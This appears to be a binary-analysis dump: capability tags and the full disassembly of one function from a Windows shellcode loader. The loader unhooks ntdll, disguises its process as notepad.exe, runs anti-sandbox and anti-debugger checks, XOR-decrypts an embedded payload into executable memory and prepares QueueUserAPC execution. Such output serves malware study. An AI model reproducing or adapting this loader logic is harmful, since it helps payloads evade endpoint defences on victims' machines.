Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x8f0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.140002db0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
mov qword [rbp + 0x848], 0
mov dword [rbp + 0x7c4], 0x200
mov dword [rbp + 0x854], 1
jmp 0x140001584
mov eax, dword [rbp + 0x854]
cdqe
add qword [rbp + 0x848], rax
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x7c4]
jle 0x14000156e
cmp qword [rbp + 0x858], 0
jne 0x1400015cc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001970
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7c8]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x7b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x844], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x838], xmm0
add dword [rbp + 0x844], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x844]
movsd xmm0, qword [0x14000c5c8]
addsd xmm0, xmm1
mov rax, qword [0x14000c5d0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004310
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x844]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c5c8]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x838]
addsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
cmp dword [rbp + 0x844], 0x255
jle 0x1400016f0
movsd xmm1, qword [rbp + 0x838]
movsd xmm0, qword [0x14000c5d8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov qword [rbp + 0x790], rax
mov word [rbp + 0x836], 0
jmp 0x140001958
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x790]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x836]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001947
mov dword [rbp + 0x830], 0
jmp 0x14000186a
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c5e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f30
movq rax, xmm0
mov qword [rbp + 0x780], rax
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x159
jle 0x140001824
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x836]
add eax, 1
mov word [rbp + 0x836], ax
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 6]
cmp word [rbp + 0x836], ax
jb 0x1400017be
mov ecx, 0x33e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x33e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x33e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x82c], 0
jmp 0x140001aac
mov dword [rbp + 0x828], 0
jmp 0x140001a98
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x82c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x778]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x82c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x770]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x50
jle 0x1400019c1
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x28
jle 0x1400019b2
mov dword [rbp + 0x82c], 0
jmp 0x140001baa
mov dword [rbp + 0x828], 0
jmp 0x140001b96
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x828]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x828]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x768]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x50
jle 0x140001ad7
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x28
jle 0x140001ac8
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x760]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
jne 0x140002ce6
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x21f2280
mov ecx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002ce6
mov rax, qword [rbp + 0x740]
mov edx, 0x21f2280
mov rcx, rax
call fcn.14000a440
mov rax, qword [rbp + 0x740]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x695
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x695
jne 0x140002ce6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x734], 0x1fd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x724], eax
mov eax, dword [rbp + 0x734]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x720], eax
mov eax, dword [rbp + 0x720]
sub eax, dword [rbp + 0x724]
cmp eax, 0x1cb
jbe 0x140002ce6
mov dword [rbp + 0x71c], 0x3c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x71c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x396
jbe 0x140002ce6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov ecx, 0
call rax
mov dword [rbp + 0x6fc], eax
cmp dword [rbp + 0x6fc], 0xffffffff
je 0x140002ce6
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002ce6
mov dword [rbp + 0x6ec], 0x211
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6ec]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x1df
jbe 0x140002ce6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov ecx, 0
call rax
mov dword [rbp + 0x6cc], eax
cmp dword [rbp + 0x6cc], 0xffffffff
je 0x140002ce6
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x6c0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002ce6
lea rax, [rbp + 0x120]
lea rdx, [0x14000c140]
mov ecx, 0x90
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 0
mov edx, 0x485
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x6a4], 0
mov ecx, 0x3700
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x3700
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x3700
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x824], 0
jmp 0x140002227
mov dword [rbp + 0x820], 0
jmp 0x140002213
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x824]
cdqe
imul rcx, rax, 0xdc
mov rax, qword [rbp + 0x698]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x824]
cdqe
imul rcx, rax, 0xdc
mov rax, qword [rbp + 0x690]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x36
jle 0x140002168
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x3f
jle 0x140002159
mov dword [rbp + 0x824], 0
jmp 0x1400022e0
mov dword [rbp + 0x820], 0
jmp 0x1400022cc
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xdc
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xdc
mov rax, qword [rbp + 0x690]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xdc
mov rax, qword [rbp + 0x688]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x36
jle 0x14000224f
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x3f
jle 0x140002243
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x485
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x81c], 0xffffffff
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x202
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c5e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004140
movq rax, xmm0
mov qword [rbp + 0x670], rax
cmp dword [rbp + 0x81c], 0x345
jle 0x14000236b
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0x485
mov rcx, rax
call r9
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x810], 0
movabs rax, 0x77c790ca4bace8a7
movabs rdx, 0x4ecba384e845e9f7
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x752993454436fd36
movabs rdx, 0x7dde3eb11b201db4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x89e2bd39d7c5759c
movabs rdx, 0x56f79dd002050cd5
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xc2ebe2a3b95967e
movabs rdx, 0x233f02ec35b62e4d
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x3d0db5d3954b3939
movabs rdx, 0x53fc6db50d862c00
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x2d69dc0432c5fa97
movabs rdx, 0xf7c3ab44fa5fd220
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x64289eb669f7c3ab
movabs rdx, 0xd7d56501a57f7e
mov qword [rbp + 0x8d], rax
mov qword [rbp + 0x95], rdx
movabs rax, 0x4fdf1bbc54423d77
movabs rdx, 0xfd36fcaa066be945
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xd0976fc4a962ff95
movabs rdx, 0x4c9288bad3cdbaa9
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xc4e644555214c4ab
movabs rdx, 0xebf9db5bc2d3b5a3
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x2fa00c7ac5d5e5a0
movabs rdx, 0x89fc9dd50838f108
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xda954391e944be72
movabs rdx, 0x43c01c24c1617eab
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x98de440d0e09628
movabs rdx, 0x9ceac86d050ca8fc
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x99426517167515d
movabs rdx, 0x89bcda437172b316
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x4e8f478089bcda
mov qword [rbp + 0x10d], rax
jmp 0x1400027d0
cmp dword [rbp + 0x814], 0x73
jne 0x14000260e
mov eax, dword [rbp + 0x818]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x814]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x818]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x814], 0
jmp 0x1400027c9
mov eax, dword [rbp + 0x818]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x814]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x818]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
mov ecx, 0xd64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x804], 0
jmp 0x1400026d8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x80c], eax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x358
jle 0x14000266a
mov dword [rbp + 0x804], 0
jmp 0x140002760
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x808]
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x614]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000c5e8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004310
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x808], eax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x358
jle 0x1400026f0
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x808]
movss xmm1, dword [0x14000c5f0]
divss xmm0, xmm1
movss dword [rbp + 0x61c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x61c]
movq rax, xmm4
movq xmm0, rax
call fcn.140003da0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x618], xmm0
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x814], 1
add dword [rbp + 0x818], 1
mov eax, dword [rbp + 0x818]
cmp eax, 0x6b
jbe 0x1400025cb
mov dword [rbp + 0x818], 0
jmp 0x14000298a
cmp dword [rbp + 0x810], 0x6b
jne 0x14000293e
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x810]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x800], 0x140
mov dword [rbp + 0x7fc], 0x118
mov dword [rbp + 0x7f8], 0x398
mov dword [rbp + 0x7f4], 0x17c
jmp 0x140002925
mov eax, dword [rbp + 0x7f8]
cmp eax, dword [rbp + 0x7f4]
jle 0x1400028c2
mov eax, dword [rbp + 0x7f8]
cmp eax, dword [rbp + 0x800]
jle 0x1400028a2
mov eax, dword [rbp + 0x7f8]
cmp eax, dword [rbp + 0x7fc]
jle 0x140002899
sub dword [rbp + 0x7f8], 1
jmp 0x14000290e
sub dword [rbp + 0x7fc], 1
jmp 0x14000290e
mov eax, dword [rbp + 0x800]
cmp eax, dword [rbp + 0x7fc]
jle 0x1400028b9
sub dword [rbp + 0x800], 1
jmp 0x14000290e
sub dword [rbp + 0x7fc], 1
jmp 0x14000290e
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x800]
jle 0x1400028f0
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x7fc]
jle 0x1400028e7
sub dword [rbp + 0x7f4], 1
jmp 0x14000290e
sub dword [rbp + 0x7fc], 1
jmp 0x14000290e
mov eax, dword [rbp + 0x800]
cmp eax, dword [rbp + 0x7fc]
jle 0x140002907
sub dword [rbp + 0x800], 1
jmp 0x14000290e
sub dword [rbp + 0x7fc], 1
mov eax, dword [rbp + 0x7f8]
mov edx, eax
lea rax, [0x14000c125]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7f8], 0
jg 0x140002866
mov dword [rbp + 0x810], 0
jmp 0x140002983
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x810]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x810], 1
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x484
jle 0x1400027ee
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
